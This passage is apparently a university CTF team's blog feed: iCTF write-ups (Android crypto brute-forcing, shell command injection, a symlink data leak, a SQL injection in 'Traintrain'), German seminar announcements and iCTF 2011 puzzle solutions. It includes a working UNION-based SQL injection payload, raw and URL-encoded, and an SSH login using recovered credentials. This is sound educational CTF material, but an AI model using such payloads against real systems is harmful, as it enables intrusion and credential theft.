<span class="nc">Integer</span><span class="o">.</span><span class="na">parseInt</span><span class="o">(</span><span class="n">secret</span><span class="o">);</span>
<span class="nc">TalkToMothership</span> <span class="n">talk</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TalkToMothership</span><span class="o">(</span><span class="n">domain</span><span class="o">);</span>
<span class="n">talk</span><span class="o">.</span><span class="na">login</span><span class="o">(</span><span class="n">loginname</span><span class="o">,</span> <span class="n">password</span><span class="o">);</span>
<span class="nc">String</span> <span class="n">token</span> <span class="o">=</span> <span class="n">talk</span><span class="o">.</span><span class="na">getToken</span><span class="o">(</span><span class="n">flag_id</span><span class="o">,</span> <span class="n">secret</span><span class="o">);</span>
<span class="n">outputfield</span><span class="o">.</span><span class="na">setText</span><span class="o">(</span><span class="s">"Token: "</span> <span class="o">+</span> <span class="n">token</span><span class="o">);</span>
<span class="o">}</span> <span class="k">catch</span><span class="o">(</span><span class="nc">NumberFormatException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="n">outputfield</span><span class="o">.</span><span class="na">setText</span><span class="o">(</span><span class="s">"Error: For your convinience the "</span> <span class="o">+</span>
<span class="s">"secret(seed) only consists of 4 digits!"</span><span class="o">);</span>
<span class="c1">//[...]</span></code></pre></figure>
<p>At this point you know that the secret to be guessed consists of four digits and the <em>TalkToMothership</em> class is responsible for communication to the web service. The class exposes two methods: one for the login and the other one (p_ublic String getToken(String flag_id, String secret)_) fires up two requests. It retrieves the mentioned time stamp and then after doing some magic crypto gets a valid flag from the web service. For a strong duty segregation the actual crypto of course resides in a separate class named UnsecurCrypto. The static method gets the time stamp and secret (as user input from the Android view) to do the following:</p>
<ol>
<li>Convert secret to hex</li>
<li>Base64-encode the hex-secret</li>
<li>ROT13 encoding/encryption of the secret</li>
<li>Padding of the secret with 44 “a”s to match the length of time stamp</li>
<li>XOR the padded secret with time stamp</li>
<li>Base64-encode the result</li>
</ol>
<p>Among a valid session ID (retrieved during login) this is the string which is sent to the web service. In case the secret was valid the response contains the corresponding FLAG, otherwise an error message. After you made your way through obfuscated Java code the reversing of the crypto method is probably a lot easier then the rest. In case you are still wondering why you couldn’t just reverse the Python web service: it contains the hashed result of the fourth operation (padding) which is compared later to prevent you from skipping the app.</p>
<h2 id="summary">Summary</h2>
<p>With this information and after carefully reading hints from the job openings and the customer area you figured out that you have to brute-force the secret reimplementing the crypto from the Android app. It becomes very obvious since the secret is not mentioned anywhere and is simple :-)
The app description mentions “[…]For testing purposes there’s a FLAG_ID 424242 which you can use to test the service.[…]” so you have only one unknown variable during brute-force (waiting for valid flag IDs would be really mean since they change every couple of minutes).
To recap what the Cpt Security Sparrow’s software ecosystem does consider the following illustration (kind of a sequence diagram).</p>
<p><img src="/assets/2016-02-29-cpt-security-sparrows-app-shop-ictf2015-writeup/summary.png" alt="summary" /></p>
<p>As an attacker you have to replicate the Android app’s functionality in order to deliver a valid exploit. After getting a valid session you can use “42424242” as the FLAG_ID. To brute-force the original secret you have to execute the GET_TIME() and GET_TOKEN() requests until you receive {“424242”, “INVALID_TEST_TOKEN”} as response.
If you wish to explore the functionality by yourself you can download <a href="http://uss.informatik.uni-ulm.de/wp-content/uploads/2016/02/cpt_sec_sparrow.tar">cpt_sec_sparrow</a> source of the submitted service and the Android app. Use the Flask’s build in debugging server by just running python2 uss.py and visiting http://localhost:8000 with your web browser. The only dependency is the flask Python egg. The app won’t work out of the box since it expects the web service to run as CGI-scripts. You have to adjust the URL inside TalkToMothership class to fix this (or setup a web server).</p>
<p>Cptn Security Sparrow’s App Store and the UnsecurID app was a joint work of the Ulm Security Sparrows.
We send our greetings towards the two teams who solved the challenge. See you next CTF.</p>
iCTF 2014 Write-Ups: Temperature, Guestbook and Traintrain2016-02-05T00:00:00+00:00/2016/02/ictf-2014-write-ups-temperature-guestbook-and-traintrain<p>Even though USS’s team was small in size during iCTF 2014 (2015) it was pretty good at writing exploits. The Ulm Security Sparrows scored 4.771 points and achieved the 35th place of 87 teams (66 of them scored) at the iCTF2014-2015 . In the following we would like to contribute to the event and do our part to education by sharing some of our <a href="http://uss.informatik.uni-ulm.de/wp-content/uploads/2016/02/uss_writeups_ictf2014_code.tar">exploits</a> in the following writeups, namely the services “Temperature”, “Guestbook” and “traintrain”.</p>
<h2 id="temperature">Temperature</h2>
<p>Temperature provides a service to query and store temperature values for a supplied date and location. The service was executed directly from its python source code. It uses a plain text file (neverguess) to store its data. For adding new entries the service uses the command</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>echo "'%s %s %s"' >> neverguess
</code></pre></div></div>
<p>where the placeholders are replaced by the user provided input which is assumed to be a date, location, and temperature value. Retrieving a value is done by executing</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat neverguess ' grep %s ' grep %s ' awk '{ print $3 }'
</code></pre></div></div>
<p>again replacing the placeholders by the user provided input which is assumed to be a date and a location. The flag_id that is given to the exploit is a date and the sought after flag is the corresponding temperature value. One way to exploit this service is that one of the input data provided must be an expression that causes the corresponding command
<em>grep %s</em> to become a no op .</p>
<p>To patch this service the intended purpose of the retrieval command was reimplemented in python such that the corresponding temperature value is returned only if the user supplied date and location matches the date and location stored in the file.</p>
<h2 id="guestbook">Guestbook</h2>
<p>The Guestbook web app (like the name suggests) enables the visitors to publish their messages. The first step was identifying the service. At the first glance one could find the corresponding Apache config residing inside <em>/etc/apache2/sites-enabled/guestbook</em>. Beside the port it strikes one’s eye the option “FollowSymlinks” is explicitly turned on. Little bit later more on that.
Like all other services guestbook resides in <em>{/usr,/var}/ctf/guestbook</em>. The first of them contains the cgi-bin folders with some Perl scripts along with guestbook.txt and a symbolic link to <em>/var/ctf/data</em> with it’s own <em>guest-book.txt</em> file. The later one contains not only the public messages but also the ones marked private (which are posted through a check mark in the web interface). Since the tokens were posted as private messages we just had to call the URL “http://$HOST:$PORT/guestbook/cgi-bin/data/guestbook.txt” and parse the response to get tokens. As simple as the exploitation was the fix:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sed 's/+ FollowSymlinks/\−FollowSymlinks/g' \
/etc/apache2/sites-enabled/guestbook
</code></pre></div></div>
<p>Traintrain</p>
<p>Traintrain was another web app we managed to exploit. Although there are several good write ups out there we implemented our own solution and wanted to publish it. The reasons for the new implementation were a) it was fun and b) we noticed pretty late after digging through the service’s source that the service really didn’t change since last year (despite somebody on IRC/Mailinglist claimed otherwise).
Inside the web app you had to register an account and the log in with the new credentials. Afterwards you were redirected to the base URL. All saved data is stored inside an SQLite db file inside the service’s folder (<em>/var/ctf/traintrain/traintrain.db</em>). Inside the the database file one can noticed there’s also a “history” field aside to the user credentials. Every time you surfed on the traintrain website the URLs got saved there. The next step was to decompile the python bytecode of the service and dig through the source. SQL-code inside the history row of some users (already exploited by other teams) gave us the idea what to do. We didn’t have to look long to find that the SQLi was triggered in the “solutions” area of the site executing the following python code in the line 346 (depending on what decompiler you use) inside the function_ solution(self, form)_:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>query = "select username, score from users where history"\
"LIKE '%%%s%%' and not session='%s'" % (history, session)
</code></pre></div></div>
<p>As for the SQL injection itself, we were able to utilize the code that was injected in our own service by other teams, in order to build our own SQLi. Since the flags were located in the users table and the username was used as flag ID, we simply added a complete printout of the users table to the output of the solutions, utilizing the UNION keyword.
To store the SQLi payload we had to URL-encode it:</p>
<pre class="lang:tsql decode:true"># before
%' or 1=1 union select username, authorization from users where 1=1 \
or ':/solution%'=':/solution
# after
%2F%25%27%20or%201%3D1%20union%20select%20username%2C%20authorization\
%20from%20users%20where%201%3D1%20or%20%27%3A%2Fsolution%25%27\
%3D%27%3A%2Fsolution</pre>
<p>This is hence in line 114 of the def history(self, session, path): function the visited path was URL-decoded before stored in the db:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>history = prev_history + urllib2.unquote(path)
</code></pre></div></div>
<p>Knowing all this we identified and replayed all the important requests to trigger the vulnerability with BurpSuite Proxy and then began to bake the Python exploit. Following brief description explains the steps have to be executed to get to the tokens:</p>
<ul>
<li>Register with a self defined username, password and authorization-string</li>
<li>Login using username/password and parse out the session-id from response to attach it to all further requests</li>
<li>Fire up a request with the encoded SQLi inside the URL, which is stored in the history row afterwards</li>
<li>A request to the assignment page is needed since the value of the field “assignment” has to be extracted for the final request (why ever…)</li>
<li>Launch a POST-request to the solution-site with the “assignment” and a random “solution”-value attached in the body</li>
<li>SQLi is triggered. Now you just need to extract the values of the HTML-Table and save/return the desired one
The <a href="http://uss.informatik.uni-ulm.de/wp-content/uploads/2016/02/uss_writeups_ictf2014_code.tar">exploits</a> and writeups were a joint work of matou, Viktor and winnie.</li>
</ul>
WebApp Testing Seminar2016-01-19T00:00:00+00:00/2016/01/webapp-testing-seminar-2<p>Die Security Sparrows laden euch herzlich ein am Seminar zum Thema WebApplication Testing mitzumachen. Wir werden Beispielapplikation unter die Luppe nehmen und mit den Mitteln von professionellen Penterstern nach Schwachstellen suchen und diese ausnutzen. Dies ist eine Hands-On Session in der wir bei jedem Themengebiet das Vorgehen erläutern, vorführen und danach die Teilnehmer selbst durchführen lassen.</p>
<p>Wann/Wo/Wie lange: Das Seminar findet am 29.01.2016 im Raum O27/341 um 16.15 Uhr statt. Da das Seminar von Fragen, Interaktion und von Übungen geprägt ist solltet ihr mindestens 2,5 Stunden einplannen.</p>
<p>Speaker: Ferdinand uns Sergej</p>
<p>Das grobe Agenda sieht folgendermaßen aus:</p>
<ul>
<li>Allgemeines Vorgehen</li>
<li>Vorstellung des BurpSuite (Local Attack Proxy)</li>
<li>Injection Angriffe (XSS, SQLi, XXE, XPath)</li>
<li>Client Side Controls</li>
<li>Access Controls</li>
<li>Session Management</li>
<li>Optional/Wenn Zeit bleibt (Serialization Schwachstellen, SMTP und XPath Injection, …)</li>
<li>Gegenmaßnahmen</li>
<li>Checklisten/Literatur
Alle Übungen werden mit der dem Local Attack Proxy BurpSuite durchgeführt. Wir werden uns den HTTP-Verkehr zwischen Browser und Webserver anschauen.</li>
</ul>
<p>Anforderungen:</p>
<ul>
<li>Sehr grobe Kentnisse in HTML/JavaScript/SQL</li>
<li>Motivation was neues zu lernen und auszuprobieren!!!</li>
<li>Eigenes Notebook (ggf. an der Uni ausleihen)</li>
<li>VirtualBox mit der folgenden VM: <a href="http://sourceforge.net/projects/owaspbwa/files/1.2/">http://sourceforge.net/projects/owaspbwa/files/1.2/</a></li>
<li>Internes Netzwerkinterface einrichten, damit ihr den Webserver ansurfen könnt. Anleitung gibt es hier: <a href="http://christophermaier.name/blog/2010/09/01/host-only-networking-with-virtualbox">http://christophermaier.name/blog/2010/09/01/host-only-networking-with-virtualbox</a>
oder in der Suchmaschine eurer Wahl. Surft die IP der VM mit eurem Browser
an und stellt fest, dass es funktioniert.</li>
<li>Aktuelle JavaRunTime und die freie Version der BurpSuite
<a href="https://portswigger.net/burp/download.html">https://portswigger.net/burp/download.html</a> herunterladen und einmal starten. Einrichtung findet beim Seminar statt.</li>
<li>Recherschiert wie man ein eurem Browser einen Proxy einstellen könnt um Zeit
zu sparren (dafür existieren ebenfalls bequeme Plugins)
Link zur Anmeldung wird über die ctf-Mailingliste/Vorlesungsforen geschickt.</li>
</ul>
<p>Edit:</p>
<p>Slides von der Veranstaltung: <a href="http://uss.informatik.uni-ulm.de/wp-content/uploads/2016/01/webapp_testing_29-01-2016.tar">webapp_testing_29-01-2016</a></p>
WebApp-Testing Seminar2014-12-12T00:00:00+00:00/2014/12/webapp-testing-seminar<p>An diesem Freitag(12.12.2014) um 16.30 Uhr findet im Raum O27/341 das Seminar WebApp-Testing statt. Beachtet Infos in der Mailingliste um die sich für das Seminar entsprechend Vorbereiten (benötigte Tools vorinstallieren) zu können.</p>
<p> </p>
<p> </p>
iCTF2014 und neuer Termin2014-11-07T00:00:00+00:00/2014/11/ictf2014-und-neuer-termin<p>Dieses Jahr wird leider kein iCTF mehr stattfinden, das Spektakel wurde auf den 27. März 2015 verschoben.</p>
<p>Trotzdem wollen wir wieder regelmäßig USS-Treffen veranstalten, der dafür gefundene Termin ist Freitag, 16 Uhr in O27/341.</p>
iCTF 20132013-11-14T00:00:00+00:00/2013/11/ictf-2013<p>Der iCTF 2013 wird am Freitag, 6. Dezember 17 bis 2 Uhr CET (8 bis 17 Uhr PST) stattfinden. (Quelle: <a href="http://ictf.cs.ucsb.edu/">http://ictf.cs.ucsb.edu/</a>)</p>
<p>Wir trainieren dafür an den nächsten Terminen unserer Treffen (28. Nov. und 5. Dez., je ab 18 Uhr im Raum O27/341). Unser lokales Netzwerk setzen wir dann auch am 5. Dezember auf. Kommt also an diesen Terminen möglichst zahlreich.</p>
Treffen Donnerstag2013-10-22T00:00:00+00:00/2013/10/treffen-donnerstag<p>Diesen Donnerstag (24. 10.) wird es wieder ein USS-Treffen geben. Da das Semester wieder angefangen hat, versuchen wir in dieses Treffen ein Einstieg an zu bieten für neue Studierenden, die daran interesse haben bei uns mit zu machen.</p>
<p>Außerdem kann jeder sich auf unsere mailing-list einschreiben via den <a href="https://imap.uni-ulm.de/lists/info/ctf">webinterface</a>. Über diese Mailing List werden informationen über Treffen verschickt.</p>
Videoaufzeichnung: Einführung Kryptographie und NaCl API2013-06-10T00:00:00+00:00/2013/06/videoaufzeichnung-einfuhrung-kryptographie-und-nacl-api<p>Im Rahmen der USS-Meetings wurde ein Vortrag zur Kryptographie von Rens und Marcus gehalten. Die Aufzeichnung ist via folgendem Link abrufbar:</p>
<p><a href="http://uss.informatik.uni-ulm.de/videos/itsec-crypto.mp4">Einführung Kryptographie und NaCl API</a></p>
iCTF 2012 äh 132013-02-15T00:00:00+00:00/2013/02/ictf-2012-ah-13<p>Es wird im März tatsächlich der iCTF stattfinden, nachdem er im Dezember 2012 auf unbestimmten Termin im Frühjahr 2013 verschoben wurde. Wir haben jetzt die offizielle Ankündigung erhalten:</p>
<blockquote>
<p>The iCTF will be on March 22nd.</p>
</blockquote>
<p>Jetzt wäre also der optimale Zeitpunkt um sich mal (wieder) zu einem der USS Treffen zu begeben :D</p>
Interessiert?2012-11-27T00:00:00+00:00/2012/11/interessiert<p>Hast Du Lust bei uns mit zu machen? Dich mit spannenden Aufgaben aus allen möglichen Bereichen der Informatik zu beschäftigen?</p>
<p>Dann <a href="http://uss.informatik.uni-ulm.de/?page_id=91" title="Kontakt">melde</a> dich doch einfach bei uns. Wir treffen uns aktuell ungefähr alle zwei Wochen Dienstag Abends. Den nächsten Termin erfährst du auf der Mailingliste.</p>
USS on Twitter2012-11-19T00:00:00+00:00/2012/11/uss-on-twitter<p>Seit kurzem sind die Security Sparrows auch auf Twitter zu finden: <a href="https://twitter.com/USSuulm">@USSuulm</a></p>
Ergebnis des PoliCTF 20122012-11-18T00:00:00+00:00/2012/11/ergebniss-des-polictf-2012<p>Vor 1,5 Stunden ging der diesjährige PoliCTF zu Ende. Es war ein Wettkampf mit wirklich anspruchsvollen Aufgaben, die uns aber viel Spaß machten. Die letzten 24 Stunden verbrachten wir vom Team “Ulm Security Sparrows” zu zwei bis fünf Leuten an der Uni Ulm in einem Seminarraum und knobelten an Fragestellungen aus den Bereichen “Crypto”, “Bin-Pwn”, “Forensics” und “GrabBag”.</p>
<p>Letztendlich konnten wir drei der insgesamt 22 normalen Aufgaben lösen und zwei der “Flash Challenges”, bei denen es auf Zeit ankam. Mit 501 erreichten Punkten liegen wir damit auf Platz 40 von stolzen 189 teilnehmenden Gruppen.</p>
<p>Da dies das erste Mal war, dass wir an diesem Wettbewerb teilnahmen, freuen wir uns sehr über dieses ordentliche Ergebnis.</p>
<p>Vielen Dank für das Ausrichten dieses wirklich schönen Wettkampfes an die Studenten der “Politecnico di Milano”!</p>
Verschiebung des iCTF 2012 und passender Ersatz2012-11-16T00:00:00+00:00/2012/11/verschiebung-ictf-2012-und-passender-ersatz<p>Vor einigen Wochen erreichte uns die Nachricht, dass der <a href="http://ictf.cs.ucsb.edu/">iCTF</a> in diesem Jahr nicht im Dezember stattfinden wird. Voraussichtlich soll er im März 2013 nachgeholt werden.</p>
<p>Schade, wir hatten uns bereits auf den Contest gefreut. Damit uns aber trotzdem nicht langweilig wird, haben wir uns gleich mal eine Ersatz-Beschäftigung gesucht. An diesem Wochenende findet nämlich der <a href="http://www.polictf.it/">PoliCTF</a> statt. Dieser Wettkampf wird von einer Gruppe italienischer Studenten ausgetragen und geht 24 Stunden. Im Gegensatz zu den 8 Stunden des iCTF ist das schon ziemlich lang. Außerdem besteht der PoliCTF ausschließlich aus Challenges und nicht aus Angriffen auf andere Teams, wie in vielen anderen CTF Wettbewerben.</p>
<p>Wir freuen uns auf ein spannendes Wochenende und sind neugierig, wie wir uns schlagen werden.</p>
Solutions to the side challanges of the iCTF20112011-12-07T00:00:00+00:00/2011/12/solutions-to-the-side-challanges-of-the-ictf2011<p>Solutions of our Team for the <a href="http://ictf.cs.ucsb.edu/">iCTF 2011</a> <a href="http://challenges.ictf2011.info/">Challenges</a>.
<!--more--></p>
<hr />
<p>Challenge 05: (75 pts)</p>
<p>(required files: <a href="http://www.ictf2011.info/files/9x9.pdf">9x9.pdf</a>)</p>
<p><strong>Solution: “Valkyries</strong>”</p>
<hr />
<p>Challenge 09: (350 pts)</p>
<p><em>Here at iCTF HQ, we have a little ADD problem. Seeing how cheap domain were when we registered ictf2011.info, we decided to buy another domain. There was a bulk discount! Cool, ha?</em></p>
<p><em>Except, we forgot what the domain was. Can you find it?</em></p>
<p><em>SQUIRREL!</em></p>
<p>0x69637466(.info)
https://sites.google.com/a/0x69637466.info/ictf/
<strong>Solution: “I@mD@Sh3rl0k0fth31nt3rn3tz</strong>”</p>
<hr />
<p>Challenge 10: (10 pts)</p>
<p><em>Who would never laugh at the mules?</em>
(required file: <a href="http://www.ictf2011.info/files/ictf2011.m4v">ictf2011.m4v</a>)</p>
<p>At about 1:19 there are some frames exchanged.</p>
<p><strong>Solution: “Mule Herders”</strong></p>
<hr />
<p>Challenge 11: (350 pts)</p>
<p><em>A gpg secret key (ascii encoded) have been splitted into two parts and concatenate into the lookatme file. The first part of the key is 872 bytes long and the second is 873 bytes long. Find the key and decrypt the file secret.txt.gpg. Don’t forget to include the key you found in this following block before trying to decrypt the file. —–BEGIN PGP PRIVATE KEY BLOCK—– Version: GnuPG v1.4.10 (GNU/Linux) KEY —–END PGP PRIVATE KEY BLOCK—–</em></p>
<p>(required file: <a href="http://www.ictf2011.info/files/findthekey.tar.gz">findthekey.tar.gz</a>)</p>
<p>The key starts with “lQ”, brute forcing a little bit from position 484764 to 484795 helped to find the key.</p>
<p><strong>Solution: FIRSTRULEOFBUSINESSPROTECTYOURINVESTMENT</strong></p>
<hr />
<p>Challenge 13: (250 pts)</p>
<p><em>When I was playing around with the backdoor I deployed on Zeus’ laptop, I found that it was very interested in this page. Discover why, and if it’s worth something, you’ll get a good cut.</em></p>
<p>(required file: <a href="http://www.ictf2011.info/files/inferno.html">inferno.html</a>)</p>
<p>brainfuck code in html source, resolves to:</p>
<p>_Yo, Ben, here’s your cut for the Zimmermann job in Quantico. I know only you
can decode messages sent from the circles of hell, so don’t try to complain
again that you never got the money.
Godspeed,
Enigma</p>
<p>(CB;:9]~}5Yz2Vw/StQr<em>)M:,+</em>)(‘&%$#”!~}’{zyx875t”2~p0nm,+jch’`%_</p>
<p>The last line is a malbolge script, which gives the solution.</p>
<p><strong>Solution: EvIl!</strong></p>
<hr />
<p>Challenge 14: (50 pts)</p>
<p><em>I read it encoded. Can you?</em></p>
<p>(required file: <a href="http://www.ictf2011.info/files/IReadItEncoded">IReadItEncoded</a>)</p>
<p>The link leads to text which is base64 encoded. Decoding produces an ASCII QR-Code tag, which leads to the solution.</p>
<p><strong>Solution: Xis4n00bs</strong></p>
<hr />
<p>Challenge 15: (150 pts)</p>
<p><em>Why?</em> (link to http://10.13.3.131:8080/)</p>
<p><strong>Solution: “5r3kc4h”</strong> (Hackers backwards in leet)</p>
<hr />
<p>Challenge 17: (100 pts)</p>
<p><em><strong>l33786</strong></em></p>
<p><em>People! The new amazing l33786 processor is here! More than ten powerful opcodes! Almost eight bits to the byte! Non-Uniform Memory Access for super-high performance!</em></p>
<p><em>We are also super-green! To conserve power, memory in our system is split in two halfs: low and high. Memory locations are physically 7-bit long, but this is not a limit for our CPU! Just store values below 127 in the low memory and values 128 or higher in high memory. There are 4 high memory locations and 4 low ones.</em></p>
<p><em>Two registers are provided, <strong><tt>rl</tt></strong> and <strong><tt>rh</tt></strong>. Low memory is wired to <tt>rl</tt>, high memory is wired to <tt>rh</tt>. Registers are not limited in the values they can store.</em></p>
<p><em>With unprecedented generosity, UCSB is giving you access to a version of l33786 that integrates an arithmetic coprocessor! The coprocessor can increment or decrement arbitrary memory locations. DMA! Amazing.</em></p>
<p><em>Here is our state-of-the-art RISC instruction set:</em></p>
<p><em><tt>ldh {addr}</tt> will perform:<tt>rh = high_memory[addr]</tt></em>
_ <tt>ldh {addr}</tt> will perform:<tt>rl = low_memory[addr]</tt>_
_ <tt>sth {addr}</tt> will perform:<tt>high_memory[addr] = rh</tt>_
_ <tt>stl {addr}</tt> will perform:<tt>low_memory[addr] = rl</tt>_
_ <tt>incl {addr}</tt> will perform:<tt>low_memory[addr]++</tt>_
_ <tt>decl {addr}</tt> will perform:<tt>low_memory[addr]–</tt>_
_ <tt>inch {addr}</tt> will perform:<tt>high_memory[addr]++</tt>_
_ <tt>dech {addr}</tt> will perform:<tt>high_memory[addr]–</tt>_
_ <tt>xor {dest} {src}</tt> will perform:<tt>dest = dest XOR src</tt>_
_ <tt>shl rh {count}</tt> will perform:<tt>rh = rh « count</tt>_
_ <tt>shr rl {count}</tt> will perform:<tt>rl = rl » count</tt>_</p>
<p>_ Addresses are integers in the range [0,3]. Example: “<tt>ldh 3</tt>“._</p>
<p><em>I heard that if you load 146 in <tt>rl</tt> and 69 in <tt>rh</tt> something special may happen… What are you waiting for? Connect to port 3786 on 10.13.3.134 and start your limited trial of this amazing CPU!</em></p>
<p><strong>Solution: “thisisadvancedtechnology</strong>”</p>
<hr />
<p>Challenge 19: (50 pts)</p>
<p><em>22h 29m 40s -20 50’ 20’‘</em></p>
<p><strong>Solution: “Helix Nebula</strong>”</p>
<hr />
<p>Challenge 23: (350 pts)</p>
<p>_ Analyze the following trace and find any revelant information about bank account._</p>
<p>(required file: <a href="http://www.ictf2011.info/files/network1.pcap">network1.pcap</a>)</p>
<ul>
<li>extraced zip files from packet capture</li>
<li>extraced recursive compressed archives until the current file cant be extracted no more
–> file contained a string: xAccount: 499550439979-125084150537</li>
</ul>
<p><strong>Solution: 499550439979-125084150537</strong></p>
<hr />
<p>Challenge 24: (50 pts)</p>
<p><em>Tweet a picture of your team to @UCSBiCTF using the hashtag #ictf2011</em></p>
<p><strong>Solution: https://twitter.com/#!/pw_sys/status/142648007198904321</strong></p>
<hr />
<p>Challenge 27: (200 pts)</p>
<p><em>The OSB company is actually sued for taking part in a weapon traffic across the Atlantic. They want to eliminate the main witness in this case but they still don’t know where he is hidden. You have intercepted this audio file from the plaintiff to the judge. Can you find something interesting in there ?</em></p>
<p>(required file: <a href="http://www.ictf2011.info/files/phonecall.wav">phonecall.wav</a>)</p>
<ul>
<li>file says stereo but audio is only on left track</li>
<li>audio stops ~1sec before end of track</li>
<li>right track is text encoded in audio spectrum, not very readable</li>
</ul>
<p><strong>Solution: “FONKY STEADY BLD</strong>”</p>
<hr />
<p>Challenge 35: (100 pts)</p>
<p><em>so many operations</em></p>
<p>(required file: <a href="http://www.ictf2011.info/files/smo">smo</a>)</p>
<p>Branfuck code which generates the following Morse Code:</p>
<p>-.– — ..- ..-. — ..- -. -.. .. - —… – .- -.– - …. . ..-. .-.. .- –. -… . .– .. - …. -.– — ..-</p>
<p>resolves to: YOUFOUNDIT:MAYTHEFLAGBEWITHYOU
<strong>Solution: “MAYTHEFLAGBEWITHYOU”</strong></p>
<hr />
<p>Challenge 37: (250 pts)</p>
<p><em>Money mules keep a low profile. So does this flag. But there is no place to hide.</em></p>
<p>(required file: <a href="http://www.ictf2011.info/files/soyouthinkyoucanwebhack2.html">soyouthinkyoucanwebhack2.html</a>)</p>
<p>(managed to break the javascript in eclipse)</p>
<p><strong>Solution: didyouusewepawetagain?</strong></p>
<hr />
<p>Challenge 40: (100 pts)</p>
<p><em>On July 4th, 2011 the Twitter account of @foxnewspolitics got compromised. Well, either that or they made a very macabre joke when announcing that: “BREAKING NEWS: President @BarackObama assassinated, 2 gunshot wounds have proved too much. It’s a sad 4th for #america. #obamadead RIP”. For our security team to close in on the people who broke into this account, we need to know the exact UNIX timestamp (seconds precision) of when this Tweet was sent. The file contains data as we collected it from the Twitter streaming API during that day. Get back to us with the right answer and we shall provide you with some CHFs.</em></p>
<p>(required file: <a href="http://www.ictf2011.info/files/twitter.gz">twitter.gz</a>)</p>
<p>UNIX Timestamp extracted from the .json file.</p>
<p><strong>Solution: 1309760672</strong></p>
<hr />
<p>Challenge 41: (100)</p>
<p><em>Life, The Universe, and Waldo. As everyone knows, a man is defined by the hat he wears. So, where’s Waldo’s?</em></p>
<p>(required file: <a href="http://www.ictf2011.info/files/FindWaldo.jpg">FindWaldo.jpg</a>)</p>
<p>Small manikin inside the large picture. The solution is the coordinates of the white pixel of Waldo’s hat.</p>
<p><strong>Solution: 2155 1912</strong></p>
<hr />
<p>Challenge 43: (75 pts)</p>
<p>(required file: <a href="http://www.ictf2011.info/files/WhatAmI.code">WhatAmI.code</a>)</p>
<p>The link leads to a whitespace program which produces a copy of its own source code.</p>
<p><strong>Solution: “Quine”</strong></p>
<hr />
<p>Challenge 44: (150 pts)</p>
<p>_ what does it spit out?_</p>
<p>(required file: <a href="http://www.ictf2011.info/files/wdiso.tar.gz">wdiso.tar.gz</a>)</p>
<p>The tar contains 3 files.
0x12 and 0x13 are “encrypted” with rot24.</p>
<p>0x12 is a wired recipe, 0x13 is a poem.
0x90 is a zip bomb.</p>
<p>Use the Chef Compiler to compile the repice into a perl script, which produces the solution.</p>
<p><strong>Solution: DBLRAINBOW</strong></p>
<hr />
<p>Challenge 46: (125 pts)</p>
<p><em>Hey dude, I just found Alexey “Donkey” Dragunov passed out in the server room, stinkin’ drunk. Damn him… He probably freaked out for tomorrow, thinking we will never make it. But *we* will. We always do. I still need to “do the deed” with Monaco’s tranche. I know the site to use for it is legitimatebiz.ictf2011.info, but I have no freakkin’ clue on what to do there. You’re good at this stuff. Can you help me? The only thing I found is the sheet of paper attached. It was sticking on the servers, sucked it by the fans. As always, you will *not* fail me.</em></p>
<p>(required file: <a href="http://www.ictf2011.info/files/whereismycut.jpg">whereismycut.jpg</a>)</p>
<p>The file show a QR code which resolves to:</p>
<p><em>otpauth://totp/donkey@ip-172-19-1-77?secret=JUSH3O2LQ3WSJKSC</em></p>
<p>otpauth: one time password
ssh donkey@legitimatebiz.ictf2011.info
Verification code: JUSH3O2LQ3WSJKSC
Password: GimmieMyCut
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-virtual x86_64)</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> * Documentation: https://help.ubuntu.com/
System information as of Fri Dec 2 19:33:14 UTC 2011
System load: 0.0 Processes: 94
Usage of /: 27.8% of 4.92GB Users logged in: 0
Memory usage: 4% IP address for eth0: 172.19.1.77
Swap usage: 0%
Graph this data and manage this system at https://landscape.canonical.com/
Get cloud support with Ubuntu Advantage Cloud Guest
http://www.ubuntu.com/business/services/cloud
___ _ __ __ ____ __
/ _ \ (_)___ _ / / / /_ / __/____ ___ _ / /___
/ , _// // _ `// _ \/ __/_\ \ / __// _ `// // -_)
/_/'_'/_/ \_, //_//_/\__//___/ \__/ \_,_//_/ \__/
/___/
Welcome to a managed virtual machine brought to you by RightScale!
********************************************************************
********************************************************************
*** Your instance is now operational. ***
*** All of the configuration has completed. ***
*** Please check /var/log/messages for details. ***
********************************************************************
********************************************************************
ComeOnTooEasyConnection to legitimatebiz.ictf2011.info closed.
</code></pre></div></div>
<p><strong>Solution: “ComeOnTooEasy”</strong></p>
<hr />
<p>Challenge 50: (5 pts)</p>
<p><em>1b13dab9c3930f95dc90d9bd4c3a5065</em></p>
<p>“Unhash” the MD5 hash.</p>
<p><strong>Solution: “firstblood”</strong></p>
<hr />
<p>Challenge 51: (25 pts)</p>
<p><em>Huaiks are esay, but steoemims tehy don’t mkae snese.</em></p>
<p>“haikus are easy, but sometimes they dont make sense.”</p>
<p><strong>Solution: “Refrigerator”</strong></p>
<hr />
<p>Solutions of challenges of other groups:</p>
<p><a href="http://antoxar.blogspot.com/2011/12/write-up-mailgw-ictf2011.html">Blogspot</a> (Main Challenge: Mail Gateway)</p>
<p><a href="http://blog.lucainvernizzi.net/2011/12/ictf-2011-challanges-writeup.html">0x1BADFEED</a> (Challenges 14, 46, 13, 9)</p>
<p><a href="http://leetmore.ctf.su/wp/the-significant-game-but-epic-fail-2th-on-ictf-2011/">Leet More</a> (Challenges <a href="http://leetmore.ctf.su/wp/ictf-2011-challenge-29-800/">29</a>, <a href="http://leetmore.ctf.su/wp/ictf-2011-challenge-30-500/">30</a>, <a href="http://leetmore.ctf.su/wp/ictf-2011-challenge-31/">31</a>, <a href="http://leetmore.ctf.su/wp/ictf-2011-challenge-32/">32</a>, <a href="http://leetmore.ctf.su/wp/ictf2011-challenge-33-100/">33</a>)</p>
<p><a href="http://delimitry.blogspot.com/2011/12/ictf-2011-challenge-12-writeup.html">Délimiteur de données</a> (iCTF 2011 Challenge 12 Writeup)</p>
